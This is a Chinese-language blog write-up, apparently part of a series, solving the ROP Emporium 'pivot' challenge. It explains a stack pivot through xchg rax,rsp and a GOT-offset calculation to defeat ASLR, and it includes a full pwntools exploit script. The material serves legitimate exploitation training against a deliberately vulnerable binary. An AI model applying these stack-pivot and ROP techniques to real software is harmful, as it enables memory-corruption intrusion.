ROPEmporium通关全解(七)

前言
1.关于ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)
ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。
2. 本系列rop实战题目的背景
来自ROPEmporium
旨在通过解决一系列挑战来一步步进阶学习ROP利用技术。

操作
首先看一下基本信息
在这里插入图片描述在这里插入图片描述先看看pwnme
在这里插入图片描述在上图中可以看到我们的exp应该需要两个chain
同时告诉我们从libpivot.so调用了ret2win()
再来看看uselessFunction
在这里插入图片描述可以看到调用了foothold_function,但是其自身没有被调用
接下来看看libpivot.so
在这里插入图片描述查看其中的函数
在这里插入图片描述前面在分析pwnme时其中特地提到了ret2win,所以我们在这里反汇编看看
在这里插入图片描述
可以看到ret2win会打印flag
从题目的说明中
在这里插入图片描述
我们知道栈空间被限制了,但是我们具体可以放多少空间呢?
使用gdb进行分析
在这里插入图片描述输入r运行
在这里插入图片描述然后第一次输入a,第二次输入一串A

在这里插入图片描述看一下rsp的情况
在这里插入图片描述
可以看到一共是3个qword,即3个八字节
我们的任务就是通过这些空间,以某种方式吧我们的空间pivot到一个更大的空间
我们注意到,在运行的时候,程序会打印出一个缓冲区的地址,这就是第一个fgets使用的。我们可以改变指向那个缓冲区的rsp寄存器的值,这个值将是我们ROP chain的第二段
我们先ropgadget看看可用的gadget
在这里插入图片描述我们可以使用pop rax,ret,然后将缓冲区的地址放在第二个位置上,最后xchg rax,rsp,交换值
在这里插入图片描述这是第一段rop chain
接下来我们要解决的是由于ALSR机制,我们该如何得到ret2win函数的地址
解决办法是计算相对于foothold_function的偏移,然后在第二段中加上计算出来的值就可以了
回到r2分析libpivot.so分析时得到的地址
在这里插入图片描述计算偏移为0x14e
然后我们要知道foothold_function在plt,got中的偏移
在这里插入图片描述地址是0x400850
在这里插入图片描述地址是0x602048
这样写第二段rop chain的准备工作也完成了
关键部分在于:
首先调用foothold_function来填充.got.plt
pop foothold_function的got到rax寄存器
向rax中添加偏移得到ret2win的
最后进行调用即可
完整代码在7.py

from pwn import *

# Gadgets

pop_rax             = p64(0x0000000000400b00)
xchg_rax_rsp        = p64(0x0000000000400b02)
mov_rax_mrax        = p64(0x0000000000400b05)
pop_rbp             = p64(0x0000000000400900)
add_rax_rbp         = p64(0x0000000000400b09)
call_rax            = p64(0x000000000040098e)

# Addresses

foothold_plt        = p64(0x00400850)
foothold_got        = p64(0x00602048)

pivot = process('./pivot')
heap_address = int(pivot.recvline_contains('The Old Gods kindly bestow upon you a place to pivot:').decode('UTF-8').split(' ')[-1], 16)
print(hex(heap_address))

heap_address = p64(heap_address)

pid = util.proc.pidof(pivot)[0]
print("[*] PID = " + str(pid))

# Uncomment this if you want to use the debugger
#util.proc.wait_for_debugger(pid)

second_stage = b""
second_stage += foothold_plt
second_stage += pop_rax
second_stage += foothold_got
second_stage += mov_rax_mrax
second_stage += pop_rbp
second_stage += p64(0x14e)
second_stage += add_rax_rbp
second_stage += call_rax

pivot.recvuntil("Send your second chain now and it will land there")
pivot.sendline(second_stage)

first_stage = b"A" * 40
first_stage += pop_rax
first_stage += heap_address
first_stage += xchg_rax_rsp

pivot.recvuntil("Now kindly send your stack smash")
pivot.sendline(first_stage)

output = pivot.recvall()
print(output)


运行后如图所示
在这里插入图片描述


题目来自ROPEmporium,另参考如下资源:

https://medium.com/@int0x33/
https://paper.seebug.org/272/
https://www.rootnetsec.com/
https://bestwing.me/ropemporium-all-writeup.html
https://firmianay.github.io/2017/11/02/rop_emporium.html
https://www.oipapio.com/cn/article-5389490
http://ascii.911cha.com/
https://www.bejson.com/convert/ox2str/
https://larry.ngrep.me/2018/06/14/rop-emporium-write-up/
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
https://www.jianshu.com/p/a9ad38ad33e5
https://zhuanlan.zhihu.com/p/27339191
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值